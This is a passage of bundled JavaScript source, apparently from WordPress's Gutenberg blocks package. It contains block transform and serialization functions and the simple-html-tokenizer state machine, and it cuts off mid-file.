6958 return getBlockTypes().map(({ name }) => getBlockTransforms(direction, name)).flat();
6959 }
6960 const blockType = normalizeBlockType(blockTypeOrName);
6961 const { name: blockName, transforms } = blockType || {};
6962 if (!transforms || !Array.isArray(transforms[direction])) {
6963 return [];
6964 }
6965 const usingMobileTransformations = transforms.supportedMobileTransforms && Array.isArray(transforms.supportedMobileTransforms);
6966 const filteredTransforms = usingMobileTransformations ? transforms[direction].filter((t3) => {
6967 if (t3.type === "raw") {
6968 return true;
6969 }
6970 if (t3.type === "prefix") {
6971 return true;
6972 }
6973 if (!t3.blocks || !t3.blocks.length) {
6974 return false;
6975 }
6976 if (isWildcardBlockTransform(t3)) {
6977 return true;
6978 }
6979 return t3.blocks.every(
6980 (transformBlockName) => transforms.supportedMobileTransforms.includes(
6981 transformBlockName
6982 )
6983 );
6984 }) : transforms[direction];
6985 return filteredTransforms.map((transform) => ({
6986 ...transform,
6987 blockName,
6988 usingMobileTransformations
6989 }));
6990 }
6991 function maybeCheckTransformIsMatch(transform, blocks) {
6992 if (typeof transform.isMatch !== "function") {
6993 return true;
6994 }
6995 const sourceBlock = blocks[0];
6996 const attributes = transform.isMultiBlock ? blocks.map((block2) => block2.attributes) : sourceBlock.attributes;
6997 const block = transform.isMultiBlock ? blocks : sourceBlock;
6998 return transform.isMatch(attributes, block);
6999 }
7000 function switchToBlockType(blocks, name) {
7001 const blocksArray = Array.isArray(blocks) ? blocks : [blocks];
7002 const isMultiBlock = blocksArray.length > 1;
7003 const firstBlock = blocksArray[0];
7004 const sourceName = firstBlock.name;
7005 const transformationsFrom = getBlockTransforms("from", name);
7006 const transformationsTo = getBlockTransforms("to", sourceName);
7007 const transformation = findTransform(
7008 transformationsTo,
7009 (t3) => t3.type === "block" && (isWildcardBlockTransform(t3) || t3.blocks.indexOf(name) !== -1) && (!isMultiBlock || t3.isMultiBlock) && maybeCheckTransformIsMatch(t3, blocksArray)
7010 ) || findTransform(
7011 transformationsFrom,
7012 (t3) => t3.type === "block" && (isWildcardBlockTransform(t3) || t3.blocks.indexOf(sourceName) !== -1) && (!isMultiBlock || t3.isMultiBlock) && maybeCheckTransformIsMatch(t3, blocksArray)
7013 );
7014 if (!transformation) {
7015 return null;
7016 }
7017 let transformationResults;
7018 if (transformation.isMultiBlock) {
7019 if ("__experimentalConvert" in transformation) {
7020 transformationResults = transformation.__experimentalConvert(blocksArray);
7021 } else {
7022 transformationResults = transformation.transform(
7023 blocksArray.map((currentBlock) => currentBlock.attributes),
7024 blocksArray.map((currentBlock) => currentBlock.innerBlocks)
7025 );
7026 }
7027 } else if ("__experimentalConvert" in transformation) {
7028 transformationResults = transformation.__experimentalConvert(firstBlock);
7029 } else {
7030 transformationResults = transformation.transform(
7031 firstBlock.attributes,
7032 firstBlock.innerBlocks
7033 );
7034 }
7035 if (transformationResults === null || typeof transformationResults !== "object") {
7036 return null;
7037 }
7038 transformationResults = Array.isArray(transformationResults) ? transformationResults : [transformationResults];
7039 if (transformationResults.some(
7040 (result) => !getBlockType(result.name)
7041 )) {
7042 return null;
7043 }
7044 const hasSwitchedBlock = transformationResults.some(
7045 (result) => result.name === name
7046 );
7047 if (!hasSwitchedBlock) {
7048 return null;
7049 }
7050 const ret = transformationResults.map((result, index, results) => {
7051 return (0, import_hooks2.applyFilters)(
7052 "blocks.switchToBlockType.transformedBlock",
7053 result,
7054 blocks,
7055 index,
7056 results
7057 );
7058 });
7059 return ret;
7060 }
7061 var getBlockFromExample = (name, example) => createBlock(
7062 name,
7063 example.attributes,
7064 (example.innerBlocks ?? []).map(
7065 (innerBlock) => getBlockFromExample(innerBlock.name, innerBlock)
7066 )
7067 );
7068
7069 // packages/blocks/build-module/api/parser/index.mjs
7070 var import_block_serialization_default_parser = __toESM(require_block_serialization_default_parser(), 1);
7071 var import_autop2 = __toESM(require_autop(), 1);
7072
7073 // packages/blocks/build-module/api/serializer.mjs
7074 var import_element2 = __toESM(require_element(), 1);
7075 var import_hooks3 = __toESM(require_hooks(), 1);
7076 var import_is_shallow_equal = __toESM(require_is_shallow_equal(), 1);
7077 var import_autop = __toESM(require_autop(), 1);
7078 var import_deprecated6 = __toESM(require_deprecated(), 1);
7079
7080 // packages/blocks/build-module/api/parser/serialize-raw-block.mjs
7081 function serializeRawBlock(rawBlock, options = {}) {
7082 const { isCommentDelimited = true } = options;
7083 const {
7084 blockName,
7085 attrs = {},
7086 innerBlocks = [],
7087 innerContent = []
7088 } = rawBlock;
7089 let childIndex = 0;
7090 const content = innerContent.map(
7091 (item) => (
7092 // `null` denotes a nested block, otherwise we have an HTML fragment.
7093 item !== null ? item : serializeRawBlock(innerBlocks[childIndex++], options)
7094 )
7095 ).join("\n").replace(/\n+/g, "\n").trim();
7096 return isCommentDelimited ? getCommentDelimitedContent(blockName, attrs, content) : content;
7097 }
7098
7099 // packages/blocks/build-module/api/serializer.mjs
7100 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
7101 function getBlockDefaultClassName(blockName) {
7102 const className = "wp-block-" + blockName.replace(/\//, "-").replace(/^core-/, "");
7103 return (0, import_hooks3.applyFilters)(
7104 "blocks.getBlockDefaultClassName",
7105 className,
7106 blockName
7107 );
7108 }
7109 function getBlockMenuDefaultClassName(blockName) {
7110 const className = "editor-block-list-item-" + blockName.replace(/\//, "-").replace(/^core-/, "");
7111 return (0, import_hooks3.applyFilters)(
7112 "blocks.getBlockMenuDefaultClassName",
7113 className,
7114 blockName
7115 );
7116 }
7117 var blockPropsProvider = {};
7118 var innerBlocksPropsProvider = {};
7119 function getBlockProps(props = {}) {
7120 const { blockType, attributes } = blockPropsProvider;
7121 return getBlockProps.skipFilters ? props : (0, import_hooks3.applyFilters)(
7122 "blocks.getSaveContent.extraProps",
7123 { ...props },
7124 blockType,
7125 attributes
7126 );
7127 }
7128 function getInnerBlocksProps(props = {}) {
7129 const { innerBlocks } = innerBlocksPropsProvider;
7130 if (!Array.isArray(innerBlocks)) {
7131 return { ...props, children: innerBlocks };
7132 }
7133 const html2 = serialize(innerBlocks, { isInnerBlocks: true });
7134 const children = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_element2.RawHTML, { children: html2 });
7135 return { ...props, children };
7136 }
7137 function getSaveElement(blockTypeOrName, attributes, innerBlocks = []) {
7138 const blockType = normalizeBlockType(blockTypeOrName);
7139 if (!blockType?.save) {
7140 return null;
7141 }
7142 let { save } = blockType;
7143 if (save.prototype instanceof import_element2.Component) {
7144 const instance = new save({ attributes });
7145 save = instance.render.bind(instance);
7146 }
7147 blockPropsProvider.blockType = blockType;
7148 blockPropsProvider.attributes = attributes;
7149 innerBlocksPropsProvider.innerBlocks = innerBlocks;
7150 let element = save({ attributes, innerBlocks });
7151 if (element !== null && typeof element === "object" && (0, import_hooks3.hasFilter)("blocks.getSaveContent.extraProps") && !(blockType.apiVersion > 1)) {
7152 const props = (0, import_hooks3.applyFilters)(
7153 "blocks.getSaveContent.extraProps",
7154 { ...element.props },
7155 blockType,
7156 attributes
7157 );
7158 if (!(0, import_is_shallow_equal.isShallowEqual)(props, element.props)) {
7159 element = (0, import_element2.cloneElement)(element, props);
7160 }
7161 }
7162 return (0, import_hooks3.applyFilters)(
7163 "blocks.getSaveElement",
7164 element,
7165 blockType,
7166 attributes
7167 );
7168 }
7169 function getSaveContent(blockTypeOrName, attributes, innerBlocks) {
7170 const blockType = normalizeBlockType(blockTypeOrName);
7171 return (0, import_element2.renderToString)(
7172 getSaveElement(blockType, attributes, innerBlocks)
7173 );
7174 }
7175 function getCommentAttributes(blockType, attributes) {
7176 return Object.entries(blockType.attributes ?? {}).reduce(
7177 (accumulator, [key, attributeSchema]) => {
7178 const value = attributes[key];
7179 if (void 0 === value) {
7180 return accumulator;
7181 }
7182 if (attributeSchema.source !== void 0) {
7183 return accumulator;
7184 }
7185 if (attributeSchema.role === "local") {
7186 return accumulator;
7187 }
7188 if (attributeSchema.__experimentalRole === "local") {
7189 (0, import_deprecated6.default)("__experimentalRole attribute", {
7190 since: "6.7",
7191 version: "6.8",
7192 alternative: "role attribute",
7193 hint: `Check the block.json of the ${blockType?.name} block.`
7194 });
7195 return accumulator;
7196 }
7197 if ("default" in attributeSchema && JSON.stringify(attributeSchema.default) === JSON.stringify(value)) {
7198 return accumulator;
7199 }
7200 accumulator[key] = value;
7201 return accumulator;
7202 },
7203 {}
7204 );
7205 }
7206 function serializeAttributes(attributes) {
7207 return JSON.stringify(attributes).replaceAll("\\\\", "\\u005c").replaceAll("--", "\\u002d\\u002d").replaceAll("<", "\\u003c").replaceAll(">", "\\u003e").replaceAll("&", "\\u0026").replaceAll('\\"', "\\u0022");
7208 }
7209 function getBlockInnerHTML(block) {
7210 let saveContent = block.originalContent;
7211 if (block.isValid || block.innerBlocks.length) {
7212 try {
7213 saveContent = getSaveContent(
7214 block.name,
7215 block.attributes,
7216 block.innerBlocks
7217 );
7218 } catch (error) {
7219 }
7220 }
7221 return saveContent;
7222 }
7223 function getCommentDelimitedContent(rawBlockName, attributes, content) {
7224 const serializedAttributes = attributes && Object.entries(attributes).length ? serializeAttributes(attributes) + " " : "";
7225 const blockName = rawBlockName?.startsWith("core/") ? rawBlockName.slice(5) : rawBlockName;
7226 if (!content) {
7227 return `<!-- wp:${blockName} ${serializedAttributes}/-->`;
7228 }
7229 return `<!-- wp:${blockName} ${serializedAttributes}-->
7230` + content + `
7231<!-- /wp:${blockName} -->`;
7232 }
7233 function serializeBlock(block, { isInnerBlocks = false } = {}) {
7234 if (!block.isValid && block.__unstableBlockSource) {
7235 return serializeRawBlock(block.__unstableBlockSource);
7236 }
7237 const blockName = block.name;
7238 const saveContent = getBlockInnerHTML(block);
7239 if (blockName === getUnregisteredTypeHandlerName() || !isInnerBlocks && blockName === getFreeformContentHandlerName()) {
7240 return saveContent;
7241 }
7242 const blockType = getBlockType(blockName);
7243 if (!blockType) {
7244 return saveContent;
7245 }
7246 const saveAttributes = getCommentAttributes(blockType, block.attributes);
7247 return getCommentDelimitedContent(blockName, saveAttributes, saveContent);
7248 }
7249 var __unstableSerializeAndClean = /* @__PURE__ */ (() => {
7250 const cache = /* @__PURE__ */ new WeakMap();
7251 return (blocks) => {
7252 const cached = cache.get(blocks);
7253 if (cached !== void 0) {
7254 return cached;
7255 }
7256 let effectiveBlocks = blocks;
7257 if (effectiveBlocks.length === 1 && isUnmodifiedDefaultBlock(effectiveBlocks[0])) {
7258 effectiveBlocks = [];
7259 }
7260 let content = serialize(effectiveBlocks);
7261 if (effectiveBlocks.length === 1 && effectiveBlocks[0].name === getFreeformContentHandlerName() && effectiveBlocks[0].name === "core/freeform") {
7262 content = (0, import_autop.removep)(content);
7263 }
7264 cache.set(blocks, content);
7265 return content;
7266 };
7267 })();
7268 function serialize(blocks, options) {
7269 const blocksArray = Array.isArray(blocks) ? blocks : [blocks];
7270 return blocksArray.map((block) => serializeBlock(block, options)).join("\n\n");
7271 }
7272
7273 // node_modules/simple-html-tokenizer/dist/es6/index.js
7274 var HEXCHARCODE = /^#[xX]([A-Fa-f0-9]+)$/;
7275 var CHARCODE = /^#([0-9]+)$/;
7276 var NAMED = /^([A-Za-z0-9]+)$/;
7277 var EntityParser = (
7278 /** @class */
7279 (function() {
7280 function EntityParser2(named) {
7281 this.named = named;
7282 }
7283 EntityParser2.prototype.parse = function(entity) {
7284 if (!entity) {
7285 return;
7286 }
7287 var matches = entity.match(HEXCHARCODE);
7288 if (matches) {
7289 return String.fromCharCode(parseInt(matches[1], 16));
7290 }
7291 matches = entity.match(CHARCODE);
7292 if (matches) {
7293 return String.fromCharCode(parseInt(matches[1], 10));
7294 }
7295 matches = entity.match(NAMED);
7296 if (matches) {
7297 return this.named[matches[1]];
7298 }
7299 };
7300 return EntityParser2;
7301 })()
7302 );
7303 var WSP = /[\t\n\f ]/;
7304 var ALPHA = /[A-Za-z]/;
7305 var CRLF = /\r\n?/g;
7306 function isSpace(char) {
7307 return WSP.test(char);
7308 }
7309 function isAlpha(char) {
7310 return ALPHA.test(char);
7311 }
7312 function preprocessInput(input) {
7313 return input.replace(CRLF, "\n");
7314 }
7315 var EventedTokenizer = (
7316 /** @class */
7317 (function() {
7318 function EventedTokenizer2(delegate, entityParser) {
7319 this.delegate = delegate;
7320 this.entityParser = entityParser;
7321 this.state = "beforeData";
7322 this.line = -1;
7323 this.column = -1;
7324 this.input = "";
7325 this.index = -1;
7326 this.tagNameBuffer = "";
7327 this.states = {
7328 beforeData: function() {
7329 var char = this.peek();
7330 if (char === "<") {
7331 this.transitionTo(
7332 "tagOpen"
7333 /* tagOpen */
7334 );
7335 this.markTagStart();
7336 this.consume();
7337 } else {
7338 if (char === "\n") {
7339 var tag = this.tagNameBuffer.toLowerCase();
7340 if (tag === "pre" || tag === "textarea") {
7341 this.consume();
7342 }
7343 }
7344 this.transitionTo(
7345 "data"
7346 /* data */
7347 );
7348 this.delegate.beginData();
7349 }
7350 },
7351 data: function() {
7352 var char = this.peek();
7353 if (char === "<") {
7354 this.delegate.finishData();
7355 this.transitionTo(
7356 "tagOpen"
7357 /* tagOpen */
7358 );
7359 this.markTagStart();
7360 this.consume();
7361 } else if (char === "&") {
7362 this.consume();
7363 this.delegate.appendToData(this.consumeCharRef() || "&");
7364 } else {
7365 this.consume();
7366 this.delegate.appendToData(char);
7367 }
7368 },
7369 tagOpen: function() {
7370 var char = this.consume();
7371 if (char === "!") {
7372 this.transitionTo(
7373 "markupDeclarationOpen"
7374 /* markupDeclarationOpen */
7375 );
7376 } else if (char === "/") {
7377 this.transitionTo(
7378 "endTagOpen"
7379 /* endTagOpen */
7380 );
7381 } else if (char === "@" || char === ":" || isAlpha(char)) {
7382 this.transitionTo(
7383 "tagName"
7384 /* tagName */
7385 );
7386 this.tagNameBuffer = "";
7387 this.delegate.beginStartTag();
7388 this.appendToTagName(char);
7389 }
7390 },
7391 markupDeclarationOpen: function() {
7392 var char = this.consume();
7393 if (char === "-" && this.input.charAt(this.index) === "-") {
7394 this.consume();
7395 this.transitionTo(
7396 "commentStart"
7397 /* commentStart */
7398 );
7399 this.delegate.beginComment();
7400 }
7401 },
7402 commentStart: function() {
7403 var char = this.consume();
7404 if (char === "-") {
7405 this.transitionTo(
7406 "commentStartDash"
7407 /* commentStartDash */
7408 );
7409 } else if (char === ">") {
7410 this.delegate.finishComment();
7411 this.transitionTo(
7412 "beforeData"
7413 /* beforeData */
7414 );
7415 } else {
7416 this.delegate.appendToCommentData(char);
7417 this.transitionTo(
7418 "comment"
7419 /* comment */
7420 );
7421 }
7422 },
7423 commentStartDash: function() {
7424 var char = this.consume();
7425 if (char === "-") {
7426 this.transitionTo(
7427 "commentEnd"
7428 /* commentEnd */
7429 );
7430 } else if (char === ">") {
7431 this.delegate.finishComment();
7432 this.transitionTo(
7433 "beforeData"
7434 /* beforeData */
7435 );
7436 } else {
7437 this.delegate.appendToCommentData("-");
7438 this.transitionTo(
7439 "comment"
7440 /* comment */
7441 );
7442 }
7443 },
7444 comment: function() {
7445 var char = this.consume();
7446 if (char === "-") {
7447 this.transitionTo(
7448 "commentEndDash"
7449 /* commentEndDash */
7450 );
7451 } else {
7452 this.delegate.appendToCommentData(char);
7453 }
7454 },
7455 commentEndDash: function() {
7456 var char = this.consume();
7457 if (char === "-") {
7458 this.transitionTo(
7459 "commentEnd"
7460 /* commentEnd */
7461 );
7462 } else {
7463 this.delegate.appendToCommentData("-" + char);
7464 this.transitionTo(
7465 "comment"
7466 /* comment */
7467 );
7468 }
7469 },
7470 commentEnd: function() {
7471 var char = this.consume();
7472 if (char === ">") {
7473 this.delegate.finishComment();
7474 this.transitionTo(
7475 "beforeData"
7476 /* beforeData */
7477 );
7478 } else {
7479 this.delegate.appendToCommentData("--" + char);
7480 this.transitionTo(
7481 "comment"
7482 /* comment */
7483 );
7484 }
7485 },
7486 tagName: function() {
7487 var char = this.consume();
7488 if (isSpace(char)) {
7489 this.transitionTo(
7490 "beforeAttributeName"
7491 /* beforeAttributeName */
7492 );
7493 } else if (char === "/") {
7494 this.transitionTo(
7495 "selfClosingStartTag"
7496 /* selfClosingStartTag */
7497 );
7498 } else if (char === ">") {
7499 this.delegate.finishTag();
7500 this.transitionTo(
7501 "beforeData"
7502 /* beforeData */
7503 );
7504 } else {
7505 this.appendToTagName(char);
7506 }
7507 },
7508 beforeAttributeName: function() {
7509 var char = this.peek();
7510 if (isSpace(char)) {
7511 this.consume();
7512 return;
7513 } else if (char === "/") {
7514 this.transitionTo(
7515 "selfClosingStartTag"
7516 /* selfClosingStartTag */
7517 );
7518 this.consume();
7519 } else if (char === ">") {
7520 this.consume();
7521 this.delegate.finishTag();
7522 this.transitionTo(
7523 "beforeData"
7524 /* beforeData */
7525 );
7526 } else if (char === "=") {
7527 this.delegate.reportSyntaxError("attribute name cannot start with equals sign");
7528 this.transitionTo(
7529 "attributeName"
7530 /* attributeName */
7531 );
7532 this.delegate.beginAttribute();
7533 this.consume();
7534 this.delegate.appendToAttributeName(char);
7535 } else {
7536 this.transitionTo(
7537 "attributeName"
7538 /* attributeName */
7539 );
7540 this.delegate.beginAttribute();
7541 }
7542 },
7543 attributeName: function() {
7544 var char = this.peek();
7545 if (isSpace(char)) {
7546 this.transitionTo(
7547 "afterAttributeName"
7548 /* afterAttributeName */
7549 );
7550 this.consume();
7551 } else if (char === "/") {
7552 this.delegate.beginAttributeValue(false);
7553 this.delegate.finishAttributeValue();
7554 this.consume();
7555 this.transitionTo(
7556 "selfClosingStartTag"
7557 /* selfClosingStartTag */
7558 );
7559 } else if (char === "=") {
7560 this.transitionTo(
7561 "beforeAttributeValue"
7562 /* beforeAttributeValue */
7563 );
7564 this.consume();
7565 } else if (char === ">") {
7566 this.delegate.beginAttributeValue(false);
7567 this.delegate.finishAttributeValue();
7568 this.consume();
7569 this.delegate.finishTag();
7570 this.transitionTo(
7571 "beforeData"
7572 /* beforeData */
7573 );
7574 } else if (char === '"' || char === "'" || char === "<") {
7575 this.delegate.reportSyntaxError(char + " is not a valid character within attribute names");
7576 this.consume();
7577 this.delegate.appendToAttributeName(char);
7578 } else {
7579 this.consume();
7580 this.delegate.appendToAttributeName(char);
7581 }
7582 },
7583 afterAttributeName: function() {
7584 var char = this.peek();
7585 if (isSpace(char)) {
7586 this.consume();
7587 return;
7588 } else if (char === "/") {
7589 this.delegate.beginAttributeValue(false);
7590 this.delegate.finishAttributeValue();
7591 this.consume();
7592 this.transitionTo(
7593 "selfClosingStartTag"
7594 /* selfClosingStartTag */
7595 );
7596 } else if (char === "=") {
7597 this.consume();
7598 this.transitionTo(
7599 "beforeAttributeValue"
7600 /* beforeAttributeValue */
7601 );
7602 } else if (char === ">") {
7603 this.delegate.beginAttributeValue(false);
7604 this.delegate.finishAttributeValue();
7605 this.consume();
7606 this.delegate.finishTag();
7607 this.transitionTo(
7608 "beforeData"
7609 /* beforeData */
7610 );
7611 } else {
7612 this.delegate.beginAttributeValue(false);
7613 this.delegate.finishAttributeValue();
7614 this.transitionTo(
7615 "attributeName"
7616 /* attributeName */
7617 );
7618 this.delegate.beginAttribute();
7619 this.consume();
7620 this.delegate.appendToAttributeName(char);
7621 }
7622 },
7623 beforeAttributeValue: function() {
7624 var char = this.peek();
7625 if (isSpace(char)) {
7626 this.consume();
7627 } else if (char === '"') {
7628 this.transitionTo(
7629 "attributeValueDoubleQuoted"
7630 /* attributeValueDoubleQuoted */
7631 );
7632 this.delegate.beginAttributeValue(true);
7633 this.consume();
7634 } else if (char === "'") {
7635 this.transitionTo(
7636 "attributeValueSingleQuoted"
7637 /* attributeValueSingleQuoted */
7638 );
7639 this.delegate.beginAttributeValue(true);
7640 this.consume();
7641 } else if (char === ">") {
7642 this.delegate.beginAttributeValue(false);
7643 this.delegate.finishAttributeValue();
7644 this.consume();
7645 this.delegate.finishTag();
7646 this.transitionTo(
7647 "beforeData"
7648 /* beforeData */
7649 );
7650 } else {
7651 this.transitionTo(
7652 "attributeValueUnquoted"
7653 /* attributeValueUnquoted */
7654 );
7655 this.delegate.beginAttributeValue(false);
7656 this.consume();
7657 this.delegate.appendToAttributeValue(char);
7658 }
7659 },
7660 attributeValueDoubleQuoted: function() {
7661 var char = this.consume();
7662 if (char === '"') {
7663 this.delegate.finishAttributeValue();
7664 this.transitionTo(
7665 "afterAttributeValueQuoted"
7666 /* afterAttributeValueQuoted */
7667 );
7668 } else if (char === "&") {
7669 this.delegate.appendToAttributeValue(this.consumeCharRef() || "&");
7670 } else {
7671 this.delegate.appendToAttributeValue(char);
7672 }
7673 },
7674 attributeValueSingleQuoted: function() {
7675 var char = this.consume();
7676 if (char === "'") {
7677 this.delegate.finishAttributeValue();
7678 this.transitionTo(
7679 "afterAttributeValueQuoted"
7680 /* afterAttributeValueQuoted */
7681 );
7682 } else if (char === "&") {
7683 this.delegate.appendToAttributeValue(this.consumeCharRef() || "&");
7684 } else {
7685 this.delegate.appendToAttributeValue(char);
7686 }
7687 },
7688 attributeValueUnquoted: function() {
7689 var char = this.peek();
7690 if (isSpace(char)) {
7691 this.delegate.finishAttributeValue();
7692 this.consume();
7693 this.transitionTo(
7694 "beforeAttributeName"
7695 /* beforeAttributeName */
7696 );
7697 } else if (char === "/") {
7698 this.delegate.finishAttributeValue();
7699 this.consume();
7700 this.transitionTo(
7701 "selfClosingStartTag"
7702 /* selfClosingStartTag */
7703 );
7704 } else if (char === "&") {
7705 this.consume();
7706 this.delegate.appendToAttributeValue(this.consumeCharRef() || "&");
7707 } else if (char === ">") {
7708 this.delegate.finishAttributeValue();
7709 this.consume();
7710 this.delegate.finishTag();
7711 this.transitionTo(
7712 "beforeData"
7713 /* beforeData */
7714 );
7715 } else {
7716 this.consume();
7717 this.delegate.appendToAttributeValue(char);
7718 }
7719 },
7720 afterAttributeValueQuoted: function() {
7721 var char = this.peek();
7722 if (isSpace(char)) {
7723 this.consume();
7724 this.transitionTo(
7725 "beforeAttributeName"
7726 /* beforeAttributeName */
7727 );
7728 } else if (char === "/") {
7729 this.consume();
7730 this.transitionTo(
7731 "selfClosingStartTag"
7732 /* selfClosingStartTag */
7733 );
7734 } else if (char === ">") {
7735 this.consume();
7736 this.delegate.finishTag();
7737 this.transitionTo(
7738 "beforeData"
7739 /* beforeData */
7740 );
7741 } else {
7742 this.transitionTo(
7743 "beforeAttributeName"
7744 /* beforeAttributeName */
7745 );
7746 }
7747 },
7748 selfClosingStartTag: function() {
7749 var char = this.peek();
7750 if (char === ">") {
7751 this.consume();
7752 this.delegate.markTagAsSelfClosing();
7753 this.delegate.finishTag();
7754 this.transitionTo(
7755 "beforeData"
7756 /* beforeData */
7757 );
7758 } else {
7759 this.transitionTo(
7760 "beforeAttributeName"
7761 /* beforeAttributeName */
7762 );
7763 }
7764 },
7765 endTagOpen: function() {
7766 var char = this.consume();
7767 if (char === "@" || char === ":" || isAlpha(char)) {
7768 this.transitionTo(
7769 "tagName"
7770 /* tagName */
7771 );
7772 this.tagNameBuffer = "";
7773 this.delegate.beginEndTag();
7774 this.appendToTagName(char);
7775 }
7776 }
7777 };
7778 this.reset();
7779 }
7780 EventedTokenizer2.prototype.reset = function() {
7781 this.transitionTo(
7782 "beforeData"
7783 /* beforeData */
7784 );
7785 this.input = "";
7786 this.index = 0;
7787 this.line = 1;
7788 this.column = 0;
7789 this.delegate.reset();
7790 };
7791 EventedTokenizer2.prototype.transitionTo = function(state) {
7792 this.state = state;
7793 };
7794 EventedTokenizer2.prototype.tokenize = function(input) {
7795 this.reset();
7796 this.tokenizePart(input);
7797 this.tokenizeEOF();
7798 };
7799 EventedTokenizer2.prototype.tokenizePart = function(input) {
7800 this.input += preprocessInput(input);
7801 while (this.index < this.input.length) {
7802 var handler = this.states[this.state];
7803 if (handler !== void 0) {
7804 handler.call(this);
7805 } else {
7806 throw new Error("unhandled state " + this.state);
7807 }
7808 }
7809 };
7810 EventedTokenizer2.prototype.tokenizeEOF = function() {
7811 this.flushData();
7812 };
7813 EventedTokenizer2.prototype.flushData = function() {
7814 if (this.state === "data") {
7815 this.delegate.finishData();
7816 this.transitionTo(
7817 "beforeData"
7818 /* beforeData */
7819 );
7820 }
7821 };
7822 EventedTokenizer2.prototype.peek = function() {
7823 return this.input.charAt(this.index);
7824 };
7825 EventedTokenizer2.prototype.consume = function() {
7826 var char = this.peek();
7827 this.index++;
7828 if (char === "\n") {
7829 this.line++;
7830 this.column = 0;
7831 } else {
7832 this.column++;
7833 }
7834 return char;
7835 };
7836 EventedTokenizer2.prototype.consumeCharRef = function() {
7837 var endIndex = this.input.indexOf(";", this.index);
7838 if (endIndex === -1) {
7839 return;
7840 }
7841 var entity = this.input.slice(this.index, endIndex);
7842 var chars = this.entityParser.parse(entity);
7843 if (chars) {
7844 var count = entity.length;
7845 while (count) {
7846 this.consume();
7847 count--;
7848 }
7849 this.consume();
7850 return chars;
7851 }
7852 };
7853 EventedTokenizer2.prototype.markTagStart = function() {
7854 this.delegate.tagOpen();
7855 };
7856 EventedTokenizer2.prototype.appendToTagName = function(char) {
7857 this.tagNameBuffer += char;
7858 this.delegate.appendToTagName(char);
7859 };
7860 return EventedTokenizer2;
7861 })()
7862 );
7863 var Tokenizer = (
7864 /** @class */
7865 (function() {
7866 function Tokenizer2(entityParser, options) {
7867 if (options === void 0) {
7868 options = {};
7869 }
7870 this.options = options;
7871 this.token = null;
7872 this.startLine = 1;
7873 this.startColumn = 0;
7874 this.tokens = [];
7875 this.tokenizer = new EventedTokenizer(this, entityParser);
7876 this._currentAttribute = void 0;
7877 }
7878 Tokenizer2.prototype.tokenize = function(input) {
7879 this.tokens = [];
7880 this.tokenizer.tokenize(input);
7881 return this.tokens;
7882 };
7883 Tokenizer2.prototype.tokenizePart = function(input) {
7884 this.tokens = [];
7885 this.tokenizer.tokenizePart(input);
7886 return this.tokens;
7887 };
7888 Tokenizer2.prototype.tokenizeEOF = function() {
7889 this.tokens = [];
7890 this.tokenizer.tokenizeEOF();
7891 return this.tokens[0];
7892 };
7893 Tokenizer2.prototype.reset = function() {
7894 this.token = null;
7895 this.startLine = 1;
7896 this.startColumn = 0;
7897 };
7898 Tokenizer2.prototype.current = function() {
7899 var token = this.token;
7900 if (token === null) {
7901 throw new Error("token was unexpectedly null");
7902 }
7903 if (arguments.length === 0) {
7904 return token;
7905 }
7906 for (var i2 = 0; i2 < arguments.length; i2++) {
7907 if (token.type === arguments[i2]) {
7908 return token;
7909 }
7910 }
7911 throw new Error("token type was unexpectedly " + token.type);
7912 };
7913 Tokenizer2.prototype.push = function(token) {
7914 this.token = token;
7915 this.tokens.push(token);
7916 };
7917 Tokenizer2.prototype.currentAttribute = function() {
7918 return this._currentAttribute;
7919 };
7920 Tokenizer2.prototype.addLocInfo = function() {
7921 if (this.options.loc) {
7922 this.current().loc = {
7923 start: {
7924 line: this.startLine,
7925 column: this.startColumn
7926 },
7927 end: {
7928 line: this.tokenizer.line,
7929 column: this.tokenizer.column
7930 }
7931 };
7932 }
7933 this.startLine = this.tokenizer.line;
7934 this.startColumn = this.tokenizer.column;
7935 };
7936 Tokenizer2.prototype.beginData = function() {
7937 this.push({
7938 type: "Chars",
7939 chars: ""
7940 });
7941 };
7942 Tokenizer2.prototype.appendToData = function(char) {
7943 this.current(
7944 "Chars"
7945 /* Chars */
7946 ).chars += char;
7947 };
7948 Tokenizer2.prototype.finishData = function() {
7949 this.addLocInfo();
7950 };
7951 Tokenizer2.prototype.beginComment = function() {
7952 this.push({
7953 type: "Comment",
7954 chars: ""
7955 });
7956 };
7957 Tokenizer2.prototype.appendToCommentData = function(char) {
7958 this.current(
7959 "Comment"
7960 /* Comment */
7961 ).chars += char;
7962 };
7963 Tokenizer2.prototype.finishComment = function() {
7964 this.addLocInfo();
7965 };
7966 Tokenizer2.prototype.tagOpen = function() {
7967 };
7968 Tokenizer2.prototype.beginStartTag = function() {
7969 this.push({
7970 type: "StartTag",
7971 tagName: "",
7972 attributes: [],
7973 selfClosing: false
7974 });
7975 };
7976 Tokenizer2.prototype.beginEndTag = function() {
7977 this.push({
7978 type: "EndTag",
7979 tagName: ""
7980 });
7981 };
7982 Tokenizer2.prototype.finishTag = function() {
7983 this.addLocInfo();
7984 };
7985 Tokenizer2.prototype.markTagAsSelfClosing = function() {
7986 this.current(
7987 "StartTag"
7988 /* StartTag */
7989 ).selfClosing = true;
7990 };
7991 Tokenizer2.prototype.appendToTagName = function(char) {
7992 this.current(
7993 "StartTag",
7994 "EndTag"
7995 /* EndTag */
7996 ).tagName += char;
7997 };
7998 Tokenizer2.prototype.beginAttribute = function() {
7999 this._currentAttribute = ["", "", false];
8000 };
8001 Tokenizer2.prototype.appendToAttributeName = function(char) {
8002 this.currentAttribute()[0] += char;
8003 };
8004 Tokenizer2.prototype.beginAttributeValue = function(isQuoted) {
8005 this.currentAttribute()[2] = isQuoted;
8006 };
8007 Tokenizer2.prototype.appendToAttributeValue = function(char) {
8008 this.currentAttribute()[1] += char;
8009 };
8010 Tokenizer2.prototype.finishAttributeValue = function() {
8011 this.current(
8012 "StartTag"
8013 /* StartTag */
8014 ).attributes.push(this._currentAttribute);
8015 };
8016 Tokenizer2.prototype.reportSyntaxError = function(message) {
8017 this.current().syntaxError = message;
8018 };
8019 return Tokenizer2;
8020 })()
8021 );
8022
8023 // packages/blocks/build-module/api/validation/index.mjs
8024 var import_es6 = __toESM(require_es6(), 1);
8025 var import_deprecated7 = __toESM(require_deprecated(), 1);
8026 var import_html_entities = __toESM(require_html_entities(), 1);
8027
8028 // packages/blocks/build-module/api/validation/logger.mjs
8029 function createLogger() {
8030 function createLogHandler(logger) {
8031 return (message, ...args) => logger("Block validation: " + message, ...args);
8032 }
8033 return {
8034 // eslint-disable-next-line no-console
8035 error: createLogHandler(console.error),
